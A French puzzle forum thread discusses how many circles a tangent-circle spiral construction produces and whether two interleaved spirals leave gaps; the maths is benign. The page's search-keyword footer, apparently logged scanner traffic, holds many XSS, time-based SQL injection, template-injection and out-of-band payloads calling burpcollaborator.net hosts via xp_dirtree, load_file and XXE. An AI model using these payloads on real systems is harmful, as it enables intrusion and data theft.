Enigmes

Forum dédié aux énigmes et à toutes formes de jeux de logique.

Déconnexion

Tu n'es pas identifié sur Prise2tete : s'identifier.

accueil Accueil forum Forum
[+]

 #1 - 03-09-2017 16:12:47

Sydre
Professionnel de Prise2Tete
Enigmes résolues : 15
Messages : 245

tourner en tond (màj)

Soit [latex]C_0[/latex] un cercle quelconque du plan.

On trace la tangente à [latex]C_0[/latex] passant par l'origine. On trace un nouveau cercle, [latex]C_1[/latex], de même rayon que [latex]C_0[/latex] et de centre le point de tangence défini précédemment.

On itère le processus tant que possible et on construit ainsi une suite de cercles [latex](C_n)[/latex].

Combien d'éléments comporte la suite ?

http://www.prise2tete.fr/upload/Sydre-CircleFlow.gif

  • |
  • Répondre

#0 Pub

 #2 - 03-09-2017 19:33:50

Ebichu
Expert de Prise2Tete
Enigmes résolues : 49
Messages : 888

tourner zn rond (màj)

On appelle R le rayon du cercle initial, et L la distance entre le centre de ce cercle et l'origine du repère.

On appelle (An) la suite des distances au carré entre les centres des cercles et l'origine du repère. On a donc A0 = L², et d'après le théorème de Pythagore, on a la relation de récurrence An+1 = An - R². La construction n'est plus possible dès lors que l'origine du repère est à l'intérieur du cercle, c'est-à-dire An < R² (si l'origine du repère est sur le cercle, on peut encore réaliser une étape, et le dernier cercle aura pour centre l'origine du repère).

La suite (An) est arithmétique. Le nombre de cercles tracés est donc E(L²/R²)+1.

 #3 - 03-09-2017 21:26:32

caduk
Professionnel de Prise2Tete
Enigmes résolues : 45
Messages : 398

Tourner en rond (Mà)J

Bonjour,
Soit d_n la distance du centre du cercle par rapport à l'origine
d_n+1^2 = d_n^2 - r^2
La suite s'arrete lorsque la distance d_n devient inférieure à r.
Le nombre d'élément est donc d_0^2/r^2 arrondi à l'excès

 #4 - 04-09-2017 12:02:05

nodgim
Elite de Prise2Tete
Enigmes résolues : 0
Messages : 3802

Tournner en rond (MàJ)

Si d est la distance entre l'origine et le centre du 1er cercle, et r le rayon du cercle, on peut tracer [(d/r)²] + 1 cercles, le dernier entourant le point origine.

 #5 - 05-09-2017 19:18:59

Vasimolo
Le pâtissier
Enigmes résolues : 49
Messages : 5,426E+3

tiurner en rond (màj)

Bonsoir

http://www.prise2tete.fr/upload/Vasimolo-Cercles.png

Ca fait penser à l'escargot de Pythagore . Si on note [latex]L_n[/latex] la longueur des différents segments bleus ( [latex]L_0[/latex] étant la longueur initiale ) , on a : [latex]L_n^2=L^2-nR^2[/latex] . Dès que le point A entre dans un cercle , l n'y a plus de tangente possible , on arrive donc ( sauf erreur ) à [latex]n=\lfloor\frac LR\rfloor^2[/latex] .

Vasimolo

 #6 - 05-09-2017 20:14:23

Spirou
Professionnel de Prise2Tete
Enigmes résolues : 49
Messages : 489

Tourner ne rond (MàJ)

J'ai fais plusieurs pages de calculs, et je trouve comme résultat:

nombre d'éléments =  arrondi a l'entier supérieur de (a² + b² - 1)

ou (a;b) est le centre du premier cercle.

J'ai trouvé ca en demontrant en premier qu'un cercle avait une tangente passant par l'origine si et seulement si la distance entre le centre du cercle et l'origine du repère était suérieure à 1. Ensuite j'ai trouvé que le la distance de l'oringine au n-ieme cercle était de a² + b² - n. Et je trouve finalement que lorsque n dépasse a² + b² - 1 la distance est inférieur à 1.

J'éspère ne pas m'etre trompé smile

Spirou

 #7 - 06-09-2017 18:37:59

Sydre
Professionnel de Prise2Tete
Enigmes résolues : 15
Messages : 245

Tourner ne rond (MàJ)

Je vois que vous avez tous trouvé facilement !

Ce qui me donne envie de vous poser une autre question smile

Le processus que j'ai décrit est en fait un algorithme de recherche : on s'en sert pour trouver quelque chose au voisinage d'un point en explorant la zone par cercles successifs.

Une stratégie intuitive consiste à appliquer l'algorithme en partant de 2 points équidistants du pôle, les 2 points et le pôle étant alignés :

http://www.prise2tete.fr/upload/Sydre-CircleFlow2.png

Cette stratégie est-elle fiable ? (i.e existe-t-il des couples [latex](L, R)[/latex] pour lesquels des zones restent inexplorées ? Les caractériser ?)

 #8 - 08-09-2017 21:53:42

Franky1103
Elite de Prise2Tete
Enigmes résolues : 49
Messages : 3222
Lieu: Luxembourg

tourner en rond (làj)

Soient:
- R le rayon du premier cercle,
- D la distance entre l’origine et le centre de ce cercle,
- A l’angle entre la droite reliant l’origine au centre de ce cercle et la première tangente.
On aura: tanA = R/D
Si A/pi  est irrationnel, alors la suite est infinie.
Si A/pi est rationnel, alors: k.m.2.pi.(A/pi) = k.n.2.pi <=> A/pi = n/m (fraction irréductible) et la suite sera finie et comportera m éléments.

 #9 - 09-09-2017 03:32:48

Sydre
Professionnel de Prise2Tete
Enigmes résolues : 15
Messages : 245

Tourner een rond (MàJ)

@Franky1103 : Ce n'est pas ça. La suite est toujours finie smile

Concernant la 2ème question voici un exemple de couple qui ne marche pas :
[TeX](L=9.4,R=3)[/TeX]
http://www.prise2tete.fr/upload/Sydre-CircleFlow3.png

 #10 - 09-09-2017 10:29:12

Ebichu
Expert de Prise2Tete
Enigmes résolues : 49
Messages : 888

Tourner en rond ((MàJ)

Oui, en essayant avec Geogebra, pour certaines valeurs, il y a une zone proche du centre qui n'est pas recouverte. Juste, avant que j'essaie : as-tu une solution complète, ou poses-tu la question au cas où ?

 #11 - 10-09-2017 16:16:42

Sydre
Professionnel de Prise2Tete
Enigmes résolues : 15
Messages : 245

Tourner en rondd (MàJ)

@Ebichu : J'ai quelques pistes mais pas de solution concrète malheureusement !

 #12 - 10-09-2017 19:19:21

Franky1103
Elite de Prise2Tete
Enigmes résolues : 49
Messages : 3222
Lieu: Luxembourg

Tourner en rond (MàJJ)

Mince ! J'avais mal lu (et donc mal compris) l'énoncé: ça m'apprendra !

 #13 - 10-09-2017 20:31:14

caduk
Professionnel de Prise2Tete
Enigmes résolues : 45
Messages : 398

Tourner en rnd (MàJ)

J'ai eu un peu la flemme de me lancer dans les calculs, mais le plus simple me semble de prendre les calculs à l'envers, et de réduire le nombre de paramètres.

On partira donc d'un cercle de rayon r recouvrant l'origine (l = distance d centre à l'origine < r ) , et on construira les suivants tangents à la droite passant par l'origine et le centre du dernier cercle.
La réponse sera évidemment la même si le rapport r/l est le même. On peut donc fixer la valeur de l à 1. De plus, le problème est invariant par rotation, on peut donc considérer le centre du premier cercle sur l'axe des abscisses.
On peut alors conjecturer qu'à partir de (Edit: j'avais mal modélisé) r = 1.18 environ, il n'y a plus de vide (on peut calculer cette valeur mais je ne l'ai pas fait)
Il faut alors démontrer que lorsque l'on est suffisamment éloigné de l'origine, il n'y a plus de vide, puis trouver le moyen de calculer de manière pratique le résultat à partir du couple L,R selon la définition de Sydre. (Il faut donc trouver le terme général de la suite pour trouver le cercle final, et pouvoir regarder le rapport r/l)

Bon, c'est plus facile à dire qu'à faire...

Edit:
Je viens de m’apercevoir que lorsque le rapport r/l dépasse 21.29 (environ) , on a à nouveau un trou dans notre figure...

 #14 - 11-09-2017 13:13:48

Sydre
Professionnel de Prise2Tete
Enigmes résolues : 15
Messages : 245

tourner en robd (màj)

@caduk : Oui, la présence de trous n'est pas restreinte à un intervalle unique ...

Pour l'instant je conjecture qu'il y a des trous si :
[TeX]\frac{q^2}{\lfloor q^2 \rfloor + 1} \geq f(q)[/TeX]
Avec [latex]q=\frac{L}{R}[/latex] et [latex]f(q)[/latex] proche de [latex]1[/latex].

 #15 - 11-09-2017 15:20:09

caduk
Professionnel de Prise2Tete
Enigmes résolues : 45
Messages : 398

Tourner en rodn (MàJ)

Oui, mais au delà de cet valeur, ça se stabilise, le trou reste toujours...
Edit:
Il y a un trou jusqu'à 1.63 environ
Je pense qu'après, il n'y a plus de trou que l'on n'a pas vu.
Il y aurait donc absence de trou sur l'intervalle [1.63,21.29]

 #16 - 12-09-2017 08:40:10

nodgim
Elite de Prise2Tete
Enigmes résolues : 0
Messages : 3802

tournet en rond (màj)

Je m'étais un jour amusé à calculer la largeur entre 2 spires consécutives de cette spirale, et je crois me souvenir que ça devait être quelque chose comme PI quand R grandit.

 #17 - 12-09-2017 09:38:11

nodgim
Elite de Prise2Tete
Enigmes résolues : 0
Messages : 3802

Tourner en rod (MàJ)

Je le confirme, le calcul n'est pas compliqué. Pour s'en convaincre, avec un petit tableur, on voit que pour r=1 et d= 100, d = 103,13...après une somme d'angles de 6,28 (2 PI = 1 tour).

 #18 - 12-09-2017 13:34:43

nodgim
Elite de Prise2Tete
Enigmes résolues : 0
Messages : 3802

tourner en tond (màj)

Et donc, pour en venir à ta stratégie de 2 spirales emboitées, ça marche. mais seulement à partir de quelques tours. En effet, les trous sont à une distance min V3/2 d'une spirale, c'est à dire à plus que la moitié de P1/2.

 

Réponse rapide

Rédige ton message
| | | | Upload | Aide
:) :| :( :D :o ;) :/ :P :lol: :mad: :rolleyes: :cool:
Sécurité

Répondez à la devinette suivante : 

Le père de toto a trois fils : Riri, Fifi et ?

Sujets similaires

Mots clés des moteurs de recherche

Mot clé (occurences)
Alert(1) (6) — Prompt(1) (4) — Document.title=1 (4) — Confirm(1) (4) — Document.location=1 (4) — Cfxjjcbtzy>< (2) — Maezca=bzq973 (2) — Lv02z><a>onqfa (2) — sleep(20.to_i) (2) — waitfor delay 0:0:20 -- (2) — E4fh7a=bjh3uk (2) — (select*from(select(sleep(20)))a) (2) — U1gnc a=bz455q (2) — 0)waitfor delay 0:0:20 -- (2) — .sleep(20). (2) — V3qpx a=bpzqyj (2) — Welkg><a>atgti (2) — and (select*from(select(sleep(20)))a)-- (2) — U99d7us769>>< (2) — Rkwxh<a>lnp3k (2) — Bam7d<a>vgglc (2) — )waitfor delay 0:0:20 -- (2) — N3clk5fptz>>< (2) — (select*from(select(sleep(20)))a) (2) — {${sleep(20)}} (2) — Gep1hs4mfm>< (2) — eval(compile( for x in range(1):n import timen time.sleep(20) a single )) (2) — (2) — (select*from(select(sleep(20)))a) (2) — and 4101=4101 -- (1) — 90yxbg8v7bawv5c41wndt (1) — and 4757 = 4757 (1) — Scn24mj1xu (1) — and 9465=9465-- (1) — Jkjskm9xs2 (1) — (select load_file( \\gqap9gswdcqsbk7rtxvh04hpngt8hzknfa6yv.burpcollaborator.net\pws )) (1) — and 5489 = 5489 (1) — and 6589 = 6589 (1) — and 5753 = 5751 (1) — and 4425=4425-- (1) — and 2506 = 2502 (1) — 17877765 or 1793=1788-- (1) — 13360325 or 3418 = 3418 (1) — %}au6hi /<pmdvs (1) — and 6305=6305-- (1) — );declare @q varchar(99);set @q= \jh4s0jjz4fhv2nyuk0mkr78sejkb821qwdn1c.burpcollab orator.nethuo ; exec master.dbo.xp_dirtree @q;-- (1) — (select load_file( \\jtgscjvzgftvenauw0yk37ksqjwbk2nqid91y.burpcollaborator.net\jsn )) (1) — 86984067 or 9609 = 9609 (1) — 18698303 or 2758 = 2754 (1) — 14665797 or 8862=8862 -- (1) — );declare @q varchar(99);set @q= \6ovf76qmb2oi9a5hrnt7yuffl6ryfp7d20toi.burpcollab orator.netzgc ; exec master.dbo.xp_dirtree @q;-- (1) — and 5234=5234 -- (1) — and 3525=3521-- (1) — and 2178=2177-- (1) — 11246190 or 7524 = 7524 (1) — 11918976 or 3648=3648-- (1) — Vcyhkm8cpg\lqmdf45frt (1) — > (1) — ||(select extractvalue(xmltype( <?xml version=1.0 encoding=utf-8?><!doctype root [ <!entity % vhrkn system http://6szfb6umf2sida9hvnx72ujfp6vyj27xuoid.burpcollab || orator.net/>%vhrkn;]> ) /l ) from dual)|| (1) — 8lqacx4k03??uzkrzblm6s (1) — );declare @q varchar(99);set @q= \jh4s0jjz4fhv2nyuk0mkr78sejkb821qwdn1c.burpcollab orator.netebg ; exec master.dbo.xp_dirtree @q;-- (1) — ;declare @q varchar(99);set @q= \f4konf6vrb4rpjlq7w9ge3vo1f77vymmh98xx.burpcollab orator.netgwi ; exec master.dbo.xp_dirtree @q;-- (1) — 13905252 or 5846=5846-- (1) — 13366115 or 7452=7452 -- (1) — and 6990=6990-- (1) — 18503398 or 6946 = 6946 (1) — (function(){if(typeof t49ad===undefined){var a=new date();do{var b=new date();}while(b-a<20000);t49ad=1;}}()) (1) — 63348473 or 4070=4070-- (1) — 11283494 or 4405=4405-- (1) — Cry1m%>z0pgg /<xy7x2 (1) — 17317041 or 4540 = 4540 (1) — and 2678 = 2678 (1) — 12918514 or 5506 = 5505 (1) — );declare @q varchar(99);set @q= \0pq980rgcwpca46bshu1zog9m0ssgj974uvik.burpcollab orator.netken ; exec master.dbo.xp_dirtree @q;-- (1) — and 8630 = 8630 (1) — and 2439 = 2439 (1) — 11208713 or 1023=1018-- (1) — ;declare @q varchar(99);set @q= \me4vxmg21ieyzqvxh3jnoa5vbmhe55vtqgh46.burpcollab orator.netuux ; exec master.dbo.xp_dirtree @q;-- (1) — }}xytt5 /<yc82r (1) — 17968102 or 4525 = 4525 (1) —

Pied de page des forums

P2T basé sur PunBB
Screenshots par Robothumb

© Copyright 2002–2005 Rickard Andersson

Prise2Tete Forum Statistiques Liste des membres Hall of Fame Contact
© Prise2tete - Site d'énigmes et de réflexion.
Un jeu où seules la réflexion, la logique et la déduction permettent de trouver la solution.

Flux RSS de Prise2Tete Forum Jeux & Prise2Tete Test & Prise2Tete Partenariat et Publicité sur Prise2Tete